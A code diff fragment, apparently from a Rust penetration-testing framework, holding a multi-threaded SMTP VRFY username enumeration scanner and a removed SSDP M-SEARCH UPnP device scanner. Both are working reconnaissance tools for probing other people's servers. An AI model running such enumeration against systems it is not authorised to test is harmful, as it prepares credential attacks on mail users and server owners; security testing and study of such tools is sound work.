let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
return finalize_and_report(found, unknown, stats).await;
|
||||
}
|
||||
|
||||
// Streaming mode for very large username lists
|
||||
let size_mb = (size_bytes as f64) / (1024.0 * 1024.0);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Large username wordlist detected (~{:.1} MB) – streaming line by line",
|
||||
size_mb
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Producer thread: read usernames file line-by-line and enqueue work
|
||||
{
|
||||
let targets_clone = normalized_targets.clone();
|
||||
let path_clone = config.username_wordlist.clone();
|
||||
let tx_clone = tx.clone();
|
||||
|
||||
std::thread::spawn(move || {
|
||||
if let Err(e) =
|
||||
enqueue_streaming_usernames(&path_clone, &targets_clone, tx_clone)
|
||||
{
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!("[!] Username producer error: {}", e).red()
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
finalize_and_report(found, unknown, stats).await
|
||||
}
|
||||
|
||||
/// Verify a username using SMTP VRFY command
|
||||
/// Returns Ok(Some(response)) if user exists, Ok(None) if user doesn't exist, Err on connection/protocol error
|
||||
fn verify_smtp_user(addr: &str, username: &str, timeout_ms: u64) -> Result<Option<String>> {
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve address"))?;
|
||||
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(timeout_ms))
|
||||
.context("Connection timeout")?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
|
||||
// Read initial banner (220 response)
|
||||
let mut banner_ok = false;
|
||||
let start = Instant::now();
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
let response = String::from_utf8_lossy(&data);
|
||||
if response.starts_with("220") {
|
||||
banner_ok = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
if !banner_ok {
|
||||
return Err(anyhow!("No 220 banner received"));
|
||||
}
|
||||
|
||||
// Send VRFY command
|
||||
let vrfy_cmd = format!("VRFY {}\r\n", username);
|
||||
telnet.write(vrfy_cmd.as_bytes())?;
|
||||
|
||||
// Read VRFY response
|
||||
let start = Instant::now();
|
||||
let mut response_text = String::new();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
let response = String::from_utf8_lossy(&data);
|
||||
response_text.push_str(&response);
|
||||
|
||||
// Check for valid user responses (250, 251)
|
||||
if response.starts_with("250") || response.starts_with("251") {
|
||||
// User exists
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(Some(response_text.trim().to_string()));
|
||||
}
|
||||
|
||||
// Check for invalid user responses (550, 551, 553)
|
||||
if response.starts_with("550") || response.starts_with("551") || response.starts_with("553") {
|
||||
// User doesn't exist
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Check for ambiguous response (252 - cannot verify)
|
||||
if response.starts_with("252") {
|
||||
// Server explicitly refuses to verify (VRFY disabled) – treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!("Server returned 252 (cannot VRFY) for user '{}'", username));
|
||||
}
|
||||
|
||||
// If we got a complete response line but no known status code, treat as unknown
|
||||
if response.contains("\r\n") {
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!(
|
||||
"Unknown VRFY response for '{}': {}",
|
||||
username,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
// If we didn't get a clear response, treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
Err(anyhow!("No valid VRFY response received"))
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open file: {}", path))?;
|
||||
Ok(BufReader::new(file)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn enqueue_streaming_usernames(
|
||||
path: &str,
|
||||
targets: &[(String, String)],
|
||||
tx: crossbeam_channel::Sender<(String, String, String)>,
|
||||
) -> Result<()> {
|
||||
let file = File::open(path).context(format!("Failed to open username wordlist: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let username = line.trim();
|
||||
if username.is_empty() || username.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
let username_owned = username.to_string();
|
||||
for (raw_target, addr) in targets {
|
||||
tx.send((raw_target.clone(), addr.clone(), username_owned.clone()))?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open targets file: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
targets.push(trimmed.to_string());
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
async fn finalize_and_report(
|
||||
found: Arc<Mutex<Vec<(String, String)>>>,
|
||||
unknown: Arc<Mutex<Vec<(String, String)>>>,
|
||||
stats: Arc<Statistics>,
|
||||
) -> Result<()> {
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let found_guard = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid usernames found.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid username(s):", found_guard.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (username, response) in found_guard.iter() {
|
||||
println!(" {} {} - {}", "✓".green(), username, response);
|
||||
}
|
||||
|
||||
if prompt("\nSave valid usernames? (y/n): ")?
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let filename = prompt("What should the valid results be saved as?: ")?;
|
||||
if filename.is_empty() {
|
||||
println!("{}", "[-] Filename cannot be empty.".red());
|
||||
} else {
|
||||
save_results(&filename, &found_guard)?;
|
||||
println!("{}", format!("[+] Results saved to {}", filename).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown VRFY response(s).",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
|
||||
if prompt("Save unknown responses to file? (y/n): ")?
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let default_name = "smtp_unknown_responses.txt";
|
||||
let filename =
|
||||
prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name))?;
|
||||
let chosen = if filename.trim().is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
filename.trim().to_string()
|
||||
};
|
||||
|
||||
if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Failed to save unknown responses: {}", e).red()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to {}", chosen).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, users: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Username Enumeration Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} valid username(s)", users.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (username, response) in users {
|
||||
writeln!(file, "{} - {}", username, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Unknown VRFY Responses")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} unknown response(s)", entries.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (identity, response) in entries {
|
||||
writeln!(file, "{} - {}", identity, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{}", msg);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let input = prompt(&format!("SMTP Port (default {}): ", default))?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()),
|
||||
Ok(port) => return Ok(port),
|
||||
Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default))?;
|
||||
if input.is_empty() {
|
||||
return Ok(default.max(1));
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return Ok(value);
|
||||
}
|
||||
}
|
||||
println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout(default: u64) -> Result<u64> {
|
||||
loop {
|
||||
let input = prompt(&format!("Timeout in milliseconds (default {}): ", default))?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(value) if value >= 100 && value <= 60000 => return Ok(value),
|
||||
Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()),
|
||||
Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char))?;
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "[!] Please respond with y or n.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message)?;
|
||||
if response.is_empty() {
|
||||
println!("{}", "[!] Path cannot be empty.".yellow());
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").context("Failed to compile regex")?;
|
||||
let t = host.trim();
|
||||
let cap = re
|
||||
.captures(t)
|
||||
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).map(|m| m.as_str()).ok_or_else(|| anyhow!("Target address missing"))?;
|
||||
let p = cap
|
||||
.get(2)
|
||||
.map(|m| m.as_str().parse::<u16>().ok())
|
||||
.flatten()
|
||||
.unwrap_or(port);
|
||||
let formatted = if addr.contains(':') && !addr.starts_with('[') {
|
||||
format!("[{}]:{}", addr, p)
|
||||
} else {
|
||||
format!("{}:{}", addr, p)
|
||||
};
|
||||
if formatted.to_socket_addrs()?.next().is_none() {
|
||||
Err(anyhow!("DNS resolution failed: {}", formatted))
|
||||
} else {
|
||||
Ok(formatted)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,447 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Instant;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
/// SSDP Search Target types
|
||||
#[derive(Clone, Debug)]
|
||||
enum SearchTarget {
|
||||
RootDevice,
|
||||
All,
|
||||
Custom(String),
|
||||
}
|
||||
|
||||
impl SearchTarget {
|
||||
fn st_header(&self) -> &str {
|
||||
match self {
|
||||
SearchTarget::RootDevice => "upnp:rootdevice",
|
||||
SearchTarget::All => "ssdp:all",
|
||||
SearchTarget::Custom(st) => st,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
|
||||
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
let save_results = prompt_save_results().unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
let _ = normalize_target(&target, port)
|
||||
.with_context(|| format!("Failed to normalize target '{}'", target))?;
|
||||
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let mut found_any = false;
|
||||
let mut results = Vec::new();
|
||||
let start_time = Instant::now();
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
for attempt in 1..=retries {
|
||||
if retries > 1 {
|
||||
println!(" [*] Attempt {}/{}", attempt, retries);
|
||||
}
|
||||
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
let result = parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
if let Some(r) = result {
|
||||
results.push(r);
|
||||
}
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
if verbose {
|
||||
println!(" {} No response received", "[-]".dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
eprintln!(" {} Error: {}", "[!]".yellow(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between retries
|
||||
if attempt < retries {
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Target: {}:{}", target, port);
|
||||
println!(" Search types: {}", search_targets.len());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Devices found: {}", if found_any {
|
||||
results.len().to_string().green().to_string()
|
||||
} else {
|
||||
"0".red().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if !found_any {
|
||||
println!();
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
// Save results if requested
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
|
||||
writeln!(file, "Target: {}:{}", target, port).ok();
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
|
||||
writeln!(file).ok();
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result).ok();
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_ssdp_request(
|
||||
target: &str,
|
||||
port: u16,
|
||||
st: &SearchTarget,
|
||||
timeout: Duration,
|
||||
verbose: bool,
|
||||
) -> Result<Option<String>> {
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()
|
||||
.context("Failed to parse local bind address")?;
|
||||
|
||||
let socket = UdpSocket::bind(local_bind).await
|
||||
.context("Failed to bind UDP socket")?;
|
||||
|
||||
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
|
||||
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
|
||||
|
||||
socket.connect(&remote_addr).await
|
||||
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: {}\r\n\
|
||||
ST: {}\r\n\
|
||||
USER-AGENT: RustSploit/1.0\r\n\r\n",
|
||||
target,
|
||||
port,
|
||||
timeout.as_secs().max(1),
|
||||
st.st_header()
|
||||
);
|
||||
|
||||
if verbose {
|
||||
println!(" [*] Sending request:\n{}", request.dimmed());
|
||||
}
|
||||
|
||||
socket.send(request.as_bytes()).await
|
||||
.context("Failed to send SSDP request")?;
|
||||
|
||||
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
|
||||
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]).to_string();
|
||||
Ok(Some(response))
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
|
||||
Err(_) => Ok(None), // Timeout
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
|
||||
fn normalize_target(target: &str, port: u16) -> Result<String> {
|
||||
let addr = if target.contains(':') && !target.contains(']') {
|
||||
// Plain IPv6 without brackets
|
||||
format!("[{}]:{}", target, port)
|
||||
} else if target.contains('[') {
|
||||
// Already bracketed IPv6 (sanitize just in case)
|
||||
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
|
||||
} else {
|
||||
// IPv4 or hostname
|
||||
format!("{}:{}", target, port)
|
||||
};
|
||||
Ok(addr)
|
||||
}
|
||||
|
||||
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
|
||||
fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
ip.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string()
|
||||
}
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
|
||||
if std::io::stdout().flush().is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for timeout in seconds
|
||||
fn prompt_timeout() -> Option<u64> {
|
||||
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
|
||||
if std::io::stdout().flush().is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(t) = input.parse::<u64>() {
|
||||
if t > 0 && t <= 60 {
|
||||
return Some(t);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for number of retries
|
||||
fn prompt_retries() -> Option<u32> {
|
||||
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
|
||||
if std::io::stdout().flush().is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(r) = input.parse::<u32>() {
|
||||
if r > 0 && r <= 10 {
|
||||
return Some(r);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for verbose mode
|
||||
fn prompt_verbose() -> Option<bool> {
|
||||
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
|
||||
if std::io::stdout().flush().is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user to save results
|
||||
fn prompt_save_results() -> Option<bool> {
|
||||
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
|
||||
if std::io::stdout().flush().is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
|
||||
println!(" 1. upnp:rootdevice (default)");
|
||||
println!(" 2. ssdp:all");
|
||||
println!(" 3. Custom ST");
|
||||
println!(" 4. All of the above");
|
||||
|
||||
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
|
||||
